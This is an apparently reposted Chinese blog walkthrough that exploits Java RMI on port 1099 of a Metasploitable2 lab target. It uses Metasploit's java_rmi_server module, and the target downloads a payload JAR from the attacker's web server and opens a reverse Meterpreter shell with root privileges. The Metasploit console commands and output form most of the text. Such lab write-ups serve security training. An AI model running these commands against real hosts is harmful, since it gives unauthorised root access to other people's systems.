Metasploit2 - tcp port 1099 - RMI

来源：互联网发布：ghostscript知乎编辑：程序博客网时间：2024/06/06 07:49

Java 远程方法调用（Remote Method Invocation, RMI）使得运行在一个 Java 虚拟机（Java Virtual Machine, JVM）的对象可以调用运行另一个 JVM 之上的其他对象的方法，从而提供了程序间进行远程通讯的途径。RMI 是 J2EE 的很多分布式技术的基础。推荐阅读: http://www.blogjava.net/boddi/archive/2006/10/11/74430.html

msf > use exploit/multi/misc/java_rmi_servermsf exploit(java_rmi_server) > set RHOST 192.168.1.111RHOST => 192.168.1.111msf exploit(java_rmi_server) > run[*] Started reverse handler on 192.168.1.113:4444[*] Using URL: http://0.0.0.0:8080/4jEsxjhipfG1l[*]  Local IP: http://192.168.1.113:8080/4jEsxjhipfG1l[*] Connected and sending request for http://192.168.1.113:8080/4jEsxjhipfG1l/qxN.jar[*] 192.168.1.111    java_rmi_server - Replied to request for payload JAR[*] Sending stage (30355 bytes) to 192.168.1.111[*] Meterpreter session 1 opened (192.168.1.113:4444 -> 192.168.1.111:50694) at 2014-07-31 22:06:28 -0400[+] Target 192.168.1.111:1099 may be exploitable...[*] Server stopped.meterpreter > getuidServer username: root

0 0